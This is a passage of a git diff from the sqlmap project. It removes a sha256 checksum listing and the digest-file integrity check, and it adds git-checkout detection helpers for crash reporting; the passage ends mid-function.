-da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generic/syntax.py -cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generic/takeover.py -38becf127a8bb4a90befd4c7e12ef1ad8e21374c91c75bb640d73ab86cc1eeb9 plugins/generic/users.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py -b7425eb6a1c7b43b175a0312183579bedac0abda4fcaa42c383388626ea1b683 README.md -46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py -9b6bcffc94023b291ef231760fa134140dc2448dd81b235088d6bff020502c6b sqlmapapi.yaml -627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -80d66407453d34d672c389f6d9ab059d925528615429f2e6e9f286ce03d2c5d6 sqlmap.py -eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py -a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py -cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py -0b9ed12565bf000c9daa2317e915f2325ccabee1fa5ed5552c0787733fbccffe tamper/appendnullbyte.py -11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41 tamper/base64encode.py -1b55b7c59c623411c8cf328fff9e7de96a2dfc48ef4e5455325bfd41aebbbc13 tamper/between.py -6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34 tamper/binary.py -3fb1a7f8a37d8a49fb88fa880e163ff75a2b224c4a7799abe29bec1a367d5273 tamper/blindbinary.py -f833cfbb53e6849ed1b3b554ec1c973f85e6d41ebd62f94f8e0dcf0ba5da2f49 tamper/bluecoat.py -69c7eb987dec666da227ee1024c31b89ad324a3f7cab287ada6dade7f51c8a36 tamper/chardoubleencode.py -c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9 tamper/charencode.py -72c163ff0b4f79bdec07fbea3e75a2eaa8304881d35287eab8f03c25d06e99e0 tamper/charunicodeencode.py -249c938290c93df028a2b72762e6683be3ef6ea2bc334dd106af6d1a8048b97b tamper/charunicodeescape.py -d0d8f2df2c29d81315a867ecb6baa9ca430e8f98d04f4df3879f2bcd697fac16 tamper/commalesslimit.py -1aee4e920b8ffa4a79b2ac9a42e2d7de13434970b3d1e0c6911c26bdd0c7b4e7 tamper/commalessmid.py -ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5 tamper/commentbeforeparentheses.py -27f74b1c007713f753e0278bc056b09cd715c364847977962d6a198ecefa14ff tamper/concat2concatws.py -4cc9f6d319fbf3b60de4b9a487f9630e95cfef0ebf7749b623526b91510668a5 tamper/decentities.py -1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a tamper/dunion.py -ab455ab2d7bf89e2d283799841556e2b87c53bd288aca88f2d9f1ea5b9c39cb8 tamper/equaltolike.py -c686219f6e1b22be654792ead82c55947c11dc55901db6173fbc9821b6da625d tamper/equaltorlike.py -d06c4ba69f645fe60e786085c76fa163708938d105652a03d03f3e0407357205 tamper/escapequotes.py -0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c tamper/greatest.py -89c2606da517d063f5a898a33d5bfd8737eef837552fc1127cea512ab82d0ea5 tamper/halfversionedmorekeywords.py -76475815dedf1b56a542abdbad3f50f26f9b402775b6d475ba3b8ce64dede022 tamper/hex2char.py -731e7ab9996dbe701d5a4971540c92245d204c11bf00efcb905bb27f3269e97b tamper/hexentities.py -7324f520834d6072896df56802dca416ef66c175c339ed498708144bb51d193d tamper/htmlencode.py -d05dafb86e82807e75bb8f54dcd6afbb4a08ba3b83b35562fee7f7022a75dbd7 tamper/if2case.py -55092820a856f583cf1b661001b60216886d172cb7d0008920bf4ab3df88aff0 tamper/ifnull2casewhenisnull.py -eeda2b2fd54a4aa5fcf5630f8bfae43e0a38a840ae908e2f6b0878959067413c tamper/ifnull2ifisnull.py -94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1 tamper/informationschemacomment.py -ff07320cb134520c3be99407b5c1e67528f944c6a12838ab583716622e877a95 tamper/infoschema2innodb.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 tamper/__init__.py -017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae tamper/least.py -d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291 tamper/lowercase.py -a890b9da3e103f70137811c73eeddfffa0dcd9fa95d1ff02c40fdc450f1d9beb tamper/luanginxmore.py -93d749469882d9a540397483ad394af161ced3d43b7cefd1fad282a961222d69 tamper/luanginx.py -d68eb164a7154d288ffea398e72229cfc3fc906d0337ca9322e28c243fbd5397 tamper/misunion.py -eafd7ad140281773f92c24dbc299bec318e1c0cced4409e044e94294e40ad030 tamper/modsecurityversioned.py -b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96 tamper/modsecurityzeroversioned.py -6a6b69def1a9143748fc03aa951486621944e9ee732287e1a39ce713b2b04436 tamper/multiplespaces.py -687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305 tamper/ord2ascii.py -07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a tamper/overlongutf8more.py -b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0 tamper/overlongutf8.py -0af473a5fb3b458b0575d220b55ad96f81d9ca34eab854b597280f8bae6d35ba tamper/percentage.py -5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e tamper/plus2concat.py -3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692 tamper/plus2fnconcat.py -f5e2cccbe669b732c0b8aaa56c16522fd579168ff61a92d31f94c6970070dfe0 tamper/randomcase.py -5a7047f97c1e6a29e37c13607d92776f1b0eebce96f7e4d6926f459e73abb382 tamper/randomcomments.py -e11f10ab09c2a7f44ca2a42b35f9db30d1d3715981bd830ea4e00968be51931b tamper/schemasplit.py -21fae428f0393ab287503cc99997fba33c9a001a19f6dd203bbcc420a62a4b90 tamper/scientific.py -7a71736657ca2b27a01f5f988a5c938d67a0f7e9558caba9041bd17b2cef9813 tamper/sleep2getlock.py -7e23241588e21e17e2d167f696ebaa82b441338370e654357bbf29ee5393cb87 tamper/space2comment.py -68b541ef75925f8e88a93129d3da259e0bbf7254febf637275382964a2763789 tamper/space2dash.py -181b201f230aa6104c1a184091e292f8529b0bb1b0c5c1b69ded33c248c2d1e3 tamper/space2hash.py -e390a99ea7c8de562a489c11c245c8b778b58090f636d231ce06a22829eaddb5 tamper/space2morecomment.py -cd972178ac4464c6692939c347a03a8c1f3f5dae9d3ef83ae82328fa542b7f49 tamper/space2morehash.py -45994faf85d0329efae3a6d34cc978dde5802f5f34614c52575e38e36c98b7d2 tamper/space2mssqlblank.py -7fbaceff3722a32c65f3e3857a61188f05f9ea241f6393670dbb14f7081b542c tamper/space2mssqlhash.py -05ea031d1de1073cf0efd336ec70814403169e4123709447854129a0d4032e24 tamper/space2mysqlblank.py -0a3bc5380bddbfddfd32ce0a353f1abf57894f03262503c4f6e88748ae4a7f58 tamper/space2mysqldash.py -ef090bed1c71b5d6cd6422748799236dbdadbc70593a7b8ccb26ad07c7a76946 tamper/space2plus.py -93d1cf1f6fb977356c4c8dc2d7784d4564b8da3d9f16e8253f957f80af2491f3 tamper/space2randomblank.py -477ae0f9e3fe48b2fe5ced7b525b05a8e1db66963ff19dbb38dc810443dece57 tamper/sp_password.py -8e52309b893770bce57215fd3bf42d53d7f0d164690b4121b598126cbaaf6bc3 tamper/substring2leftright.py -4b0dc71cef8daa67bcd54059e2a488340da9d64b5b2f848b2e2eff8972fc1649 tamper/symboliclogical.py -dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unionalltounion.py -9ebf67b9ce10b338edc3e804111abe56158fa0a69e53aacdd0ffa0e0b6af1f70 tamper/unmagicquotes.py -67a83f8b6e99e9bb3344ad6f403e1d784cf9d3f3b7e8e40053cf3181fabe47fa tamper/uppercase.py -3e54d7f98ca75181e6b16aa306d5a5f5f0dce857d5b3e6ce5a07d501f5d915aa tamper/varnish.py -7afc4d262b97773e67dcfa3e253a9a060dc964750f01d739636d17ee069f1512 tamper/versionedkeywords.py -0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py -ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py -44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py -0e9054da5d1fed1ddfc982b8f559914237f65d9be5e595c3218fcd236dfa7212 tests/test_agent.py -9dc0ce7a038e7ac67c7f992b478a58492dad335d14761fa0600eec1f5a339c76 tests/test_api.py -694d8c87b2b98d7de6bc09fd634a2d32c436c7955c793cca6fa8790d3868f701 tests/test_bigarray.py -aeefe699f477e77ec4fb46c2692a1ea04cd89ad9cce62e8857d13e3bc0606e9d tests/test_brute.py -27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py -9cc73e06ba3b4c07e0d8f5fd1962f8f25ba6b7ab7278cfb094bfff76fe5e7328 tests/test_checks.py -9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py -2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py -886754f39804a4f3f7157124b21ce08d9bad83d156dcd81bc942521bb42c4a29 tests/test_common.py -899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py -7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py -a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c tests/test_compat.py -75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d tests/test_convert.py -6e3c08e1f76dd6c782d2ddc505b4e1a751b381c88ad91f79a95bf49f9c28a28f tests/test_databases_enum.py -c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py -9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py -7cf63166206d543ff4423e1b5bda3ec3212805b0aeaf95d877117df7eb79c8ec tests/test_dbms_enum.py -3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py -180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148 tests/test_deps.py -fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dialectdbms.py -41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py -993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py -6047483d7fb41e0dbf4b067394d8a9e2b39b99faf473db963de6f2f67c052b03 tests/test_dns_server.py -3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py -118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py -2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py -f4c54b19a294bf392b23dc627781d50894c8e44ca4fe5d7315c98984a3e196a4 tests/test_entries.py -ed7df24ce154e4cbb4462874a38202794664d12b083845bbee9f80481ec9cf52 tests/test_error_engine.py -950527f0abaffdc031e34336a870cd0f89723ee8589bf77763f5978f5e4c0be8 tests/test_filesystem.py -31fa778c7ee318169961d04ea7b93afc539c24b4114a6a3eaf45698fef57bb4b tests/test_fingerprint.py -abb6eef3d2d08b87b6210dde6dd1333d39da64f5abe5574240fa47efce7528f3 tests/test_generic_takeover.py -b7d59fe68af29d47dda1d7ad77e9b5c91ed50e9efbb976e62e0dc67dd11b3e17 tests/test_graphql.py -50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b tests/test_gui_helpers.py -92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac tests/test_har.py -cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f tests/test_hash_crack.py -0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py -c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py -b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py -139dcedb9093eb0404ce497549eb6ab7e83ae1e70df8eb42da74ab5a3e7d2a85 tests/test_identifiers_output.py -0a5736b86a47e66d47d44ecf7b8c7531417453fc3e976cd64e9865d3afba78f4 tests/test_inference_engine.py -22629df783f75a88c2a30ffb8e37af095e761b771322fefbd69bdd7a5c9348fb tests/test_ldap.py -571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py -d2f701f4c3a8621b937ddd322343df91e102af5424ab58675dec4dc7781035b4 tests/test_misc.py -2f6d2270b26f68b3c9b511364c57eb5eb7b010ff716346fe2b320df30280f94c tests/test_nosql.py -88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py -a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py -6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py -fc698e34b53e95c2cc190dadb087d5873711202b2c5eef9db9fc6de5f9c88063 tests/test_pagecontent.py -7297b791aed9278d9252a3ade688e67796eb5c9cc4d6b29e1d2b56d83aa20295 tests/test_parse_modules.py -6cfe189c49749a2e0bc551173f5d2c4eb5aad8cbb1f9584ecc60958b9a842725 tests/test_payload_marking.py -6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py -d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py -2d135eba3ad0fd091962d84742ebf67314fd3f89dcaaa1252b3e3d76fae7c9fd tests/test_property.py -9a0915f34e1f80a2989238fcce940734cd886020c549711a8444e7ee62eab812 tests/test_purge.py -2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py -427a543e17dfede42b9fbccc916fa0aecd93fb7bfb5c280de4c2bca87c5d8de5 tests/test_report.py -4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8 tests/test_request_basic.py -cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py -575ebc336be598858279094072cde1ac9b124109cd7397bd805decd1b0a616d4 tests/test_search_enum.py -a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py -295581435c4dbf7fe6c291bbf0163c43ccb6ee610e6f3f2609bfeed734c91a1a tests/test_sgmllib.py -d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py -19e1e17d7a94e42cf75a37901c3468c79807a2d423bd1988b6f4a2566b864f3b tests/test_ssti.py -8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py -8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py -b2b3a00254301e5e880e2e77351ebc47eed2c5280477915feedf780ea8cbd34f tests/test_target_parsing.py -cc67045d60472913eca574d601077e5111a95f4563c66caf361b8deaa2bed03c tests/test_targeturl.py -d7d8aaba1d22ee690c8da2c6e28cea0ab45b0d7a6915a5ae7f581c44d7121aab tests/test_techniques.py -61769e1d6c4429659ebfb2de696b506821e3c6f3ca81b4318ce790b9553ca6a3 tests/test_texthelpers.py -095a889a6274f0f8e437bf9a23e4b073ab6c4b60aba582e6d1e2099645f1d883 tests/test_threads.py -8d23cb42cde68e0da2c4b47db367139d0c53363fef7493ae70b7f6636a1bbbc7 tests/test_union_engine.py -48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py -4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py -b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_users_enum.py -729b3a5e00fff2e2b6c3acd3fd3e970ac1985c0a6ad1829b23c4099bd409afa1 tests/_testutils.py -2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py -93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py -81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py -9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py -db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py -55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py -f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py -7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py -f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199 thirdparty/bottle/bottle.py -9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py -0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py -901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py -df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f thirdparty/chardet/chardistribution.py -1992d17873fa151467e3786f48ea060b161a984acacf2a7a460390c55782de48 thirdparty/chardet/charsetgroupprober.py -2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8 thirdparty/chardet/charsetprober.py -558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f thirdparty/chardet/codingstatemachine.py -e34cebeb0202670927c72b8b18670838fcaf7bc0d379b0426dbbedb6f9e6a794 thirdparty/chardet/compat.py -4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c thirdparty/chardet/cp949prober.py -0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5 thirdparty/chardet/enums.py -924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927 thirdparty/chardet/escprober.py -46e5e580dbd32036ab9ddbe594d0a4e56641229742c50d2471df4402ec5487ce thirdparty/chardet/escsm.py -883f09769d084918e08e254dedfd1ef3119e409e46336a1e675740f276d2794c thirdparty/chardet/eucjpprober.py -fbb19d9af8167b3e3e78ee12b97a5aeed0620e2e6f45743c5af74503355a49fa thirdparty/chardet/euckrfreq.py -32a14c4d05f15b81dbcc8a59f652831c1dc637c48fe328877a74e67fc83f3f16 thirdparty/chardet/euckrprober.py -368d56c9db853a00795484d403b3cbc82e6825137347231b07168a235975e8c0 thirdparty/chardet/euctwfreq.py -d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797 thirdparty/chardet/euctwprober.py -257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57 thirdparty/chardet/gb2312freq.py -806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c thirdparty/chardet/gb2312prober.py -737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py -99665a5a6bd9921c1f044013f4ed58ea74537cace14fb1478504d302e8dba940 thirdparty/chardet/__init__.py -be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py -3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py -c7e37136025cd83662727b28eda1096cb90edcdeff9fbe69c68ce7abd637c999 thirdparty/chardet/langbulgarianmodel.py -0d14ea9c4f0b1c56b3973ca252ebfbe425984f47dc23777fef9c89f74b000f60 thirdparty/chardet/langgreekmodel.py -02118d149e3ad330914d9df550c100adccdda23e7fa69929ab141db2041b393f thirdparty/chardet/langhebrewmodel.py -2a11db92bc99f895d1c2cc4073847349b585185660e8430975b996b8e5d569df thirdparty/chardet/langhungarianmodel.py -b5beaf306af79329a46c7b95d288a49cb686360b7035d5c0cd3f325cefa08487 thirdparty/chardet/langrussianmodel.py -6cb2774a086b331727a5412582ed8d80d7db896244cbd3e36946fb7812cfd9f5 thirdparty/chardet/langthaimodel.py -8f891116c7272a084950e955a6a530eb352f8f50aa97a5b84a37e2fd730caa3a thirdparty/chardet/langturkishmodel.py -4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py -011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py -87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py -498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py -9e6c8ccaec731bcec337a2b7464d8c53324b30b47af4cad6a5d9c7ccec155304 thirdparty/chardet/sbcharsetprober.py -86a79f42e5e6885c83040ace8ee8c7ea177a5855e5383d64582b310e18f1e557 thirdparty/chardet/sbcsgroupprober.py -208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py -0e96535c25f49d41d7c6443db2be06671181fe1bde67a856b77b8cf7872058ab thirdparty/chardet/universaldetector.py -21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py -0380882c501df0c4551b51e85cfa78e622bd44b956c95ef76b512dc04f13be7f thirdparty/chardet/version.py -1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py -4e8a7811e12e69074159db5e28c11c18e4de29e175f50f96a3febf0a3e643b34 thirdparty/colorama/ansi.py -d3363f305a0c094a6a201b757e632b6751fa679247c214b6e275fb0341a1c84c thirdparty/colorama/ansitowin32.py -fa1227cbce82957a37f62c61e624827d421ad9ffe1fdb80a4435bb82ab3e28b5 thirdparty/colorama/initialise.py -c1e3d0038536d2d2a060047248b102d38eee70d5fe83ca512e9601ba21e52dbf thirdparty/colorama/__init__.py -61038ac0c4f0b4605bb18e1d2f91d84efc1378ff70210adae4cbcf35d769c59b thirdparty/colorama/win32.py -5c24050c78cf8ba00760d759c32d2d034d87f89878f09a7e1ef0a378b78ba775 thirdparty/colorama/winterm.py -4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py -6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py -dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json -e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/identywaf/identYwaf.py -edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py -d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py -4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py -2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py -3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py -4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py -c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py -7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE -c186b5d44edbeb8b536ce19afb476fec67b008a6fc6a8683f1866cea441051b1 thirdparty/socks/socks.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py -b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py -4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py -ac055d6ae1f7a99d4334a4e5328dae1758e7a84f01292acd1bb5105ee4f26927 thirdparty/wininetpton/win_inet_pton.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index b20e16309..971e794be 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -46,8 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. -* The `MultipartPost` library located under `thirdparty/multipart/`. - Copyright (C) 2006, Will Holcomb. * The `icmpsh` tool located under `extra/icmpsh/`. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 300916ae3..e82f47c46 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -12,13 +12,11 @@ chmod +x .git/hooks/pre-commit PROJECT="../../" SETTINGS="../../lib/core/settings.py" -DIGEST="../../data/txt/sha256sums.txt" declare -x SCRIPTPATH="${0}" PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS -DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 @@ -37,6 +35,3 @@ then fi git add "$SETTINGS_FULLPATH" fi - -cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd - -git add "$DIGEST_FULLPATH" diff --git a/lib/core/common.py b/lib/core/common.py index e4d0fce44..09d2d308c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1586,7 +1586,6 @@ def setPaths(rootPath): paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") - paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt") paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") @@ -5840,30 +5839,35 @@ def chunkSplitPostData(data): return "".join(retVal) -def checkSums(): +def isGitRepository(): """ - Validate the content of the digest file (i.e. sha256sums.txt) - >>> checkSums() + Whether the running source tree is a git working copy (i.e. a clone / dev checkout, as opposed to a + pip/tarball install) + """ + + return os.path.isdir(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")) + +def codeIsModified(): + """ + Best-effort check whether a git working copy has local modifications, used to avoid auto-reporting + crashes that stem from a user's OWN changes. Only meaningful for git checkouts (dev/clone); a + pip/tarball install is taken as shipped (returns False). A transient git error also yields False, + so a missing git binary never silences a legitimate report. + + >>> codeIsModified() in (True, False) True """ - retVal = True + retVal = False - if paths.get("DIGEST_FILE"): - for entry in getFileItems(paths.DIGEST_FILE): - match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) - if match: - expected, filename = match.groups() - filepath = 